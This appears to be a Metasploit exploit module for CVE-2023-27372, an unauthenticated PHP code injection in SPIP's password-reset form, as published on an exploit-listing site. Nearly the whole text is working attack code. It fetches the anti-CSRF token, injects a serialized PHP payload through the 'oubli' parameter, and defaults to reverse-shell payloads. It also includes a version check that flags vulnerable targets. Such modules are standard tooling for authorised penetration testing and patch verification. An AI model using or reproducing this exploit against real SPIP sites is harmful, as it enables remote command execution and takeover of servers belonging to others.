Share
## https://sploitus.com/exploit?id=PACKETSTORM:171921
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SPIP form PHP Injection',  
'Description' => %q{  
This module exploits a PHP code injection in SPIP. The vulnerability exists in the  
oubli parameter and allows an unauthenticated user to execute arbitrary commands  
with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. Vulnerable versions  
are <3.2.18, <4.0.10, <4.1.18 and <4.2.1.  
},  
'Author' => [  
'coiffeur', # Initial discovery  
'Laluka', # PoC  
'Julien Voisin' # MSF module  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-2-1-SPIP-4-1-8-SPIP-4-0-10-et.html' ],  
[ 'URL', 'https://therealcoiffeur.com/c11010' ],  
[ 'CVE', '2023-27372' ],  
],  
'Privileged' => false,  
'Platform' => %w[php linux unix],  
'Arch' => [ARCH_PHP, ARCH_CMD],  
'Targets' => [  
[  
'Automatic (PHP In-Memory)',  
{  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },  
'Type' => :php_memory,  
'Payload' => {  
'BadChars' => "\x22\x00"  
}  
}  
],  
[  
'Automatic (Unix In-Memory)',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },  
'Type' => :unix_memory,  
'Payload' => {  
'BadChars' => "\x22\x00\x27"  
}  
}  
],  
],  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'SideEffects' => [IOC_IN_LOGS]  
},  
'DefaultTarget' => 0,  
'DisclosureDate' => '2023-02-27'  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']),  
]  
)  
end  
  
def check  
uri = normalize_uri(target_uri.path, 'spip.php')  
res = send_request_cgi({ 'uri' => uri.to_s })  
  
return Exploit::CheckCode::Unknown('Target is unreachable.') unless res  
return Exploit::CheckCode::Unknown("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200  
  
version_string = res.get_html_document.at('head/meta[@name="generator"]/@content')&.text  
return Exploit::CheckCode::Unknown('Unable to find the version string on the page: spip.php') unless version_string =~ /SPIP (.*)/  
  
version = ::Regexp.last_match(1)  
  
if version.nil? && res.headers['Composed-By'] =~ /SPIP (.*) @/  
version = ::Regexp.last_match(1)  
end  
  
return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless version  
  
print_status("SPIP Version detected: #{version}")  
  
rversion = Rex::Version.new(version)  
if rversion >= Rex::Version.new('4.2.0')  
if rversion < Rex::Version.new('4.2.1')  
return Exploit::CheckCode::Appears  
end  
elsif rversion >= Rex::Version.new('4.1.0')  
if rversion < Rex::Version.new('4.1.18')  
return Exploit::CheckCode::Appears  
end  
elsif rversion >= Rex::Version.new('4.0.0')  
if rversion < Rex::Version.new('4.0.10')  
return Exploit::CheckCode::Appears  
end  
elsif rversion >= Rex::Version.new('3.2.0')  
if rversion < Rex::Version.new('3.2.18')  
return Exploit::CheckCode::Appears  
end  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def execute_command(cmd, args = {})  
send_request_cgi(  
{  
'uri' => args['uri'],  
'method' => 'POST',  
'vars_post' => {  
'page' => 'spip_pass',  
'lang' => 'fr',  
'formulaire_action' => 'oubli',  
'formulaire_action_args' => args['csrf'],  
'oubli' => cmd  
}  
}  
)  
end  
  
def exploit  
uri = normalize_uri(target_uri.path, 'spip.php?page=spip_pass&lang=fr')  
res = send_request_cgi({ 'uri' => uri })  
  
fail_with(Msf::Exploit::Failure::Unreachable, "The request to uri: #{uri} did not respond") unless res  
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Got an http code that isn't 200: #{res.code}, when sending a request to uri: #{uri}") unless res&.code == 200  
  
csrf = ''  
unless (node = res.get_html_document.xpath('//form//input[@name="formulaire_action_args"]')).empty?  
csrf = node.first['value']  
end  
  
print_status("Got anti-csrf token: #{csrf}")  
  
print_status("#{rhost}:#{rport} - Attempting to exploit...")  
  
oubli = ''  
case target['Type']  
when :php_memory  
oubli = "s:#{payload.encoded.length + 6 + 2}:\"<?php #{payload.encoded}?>\";"  
when :unix_memory  
oubli = "s:#{payload.encoded.length + 14 + 4}:\"<?php system('#{payload.encoded}')?>\";"  
end  
execute_command(oubli, { 'uri' => uri, 'csrf' => csrf })  
end  
end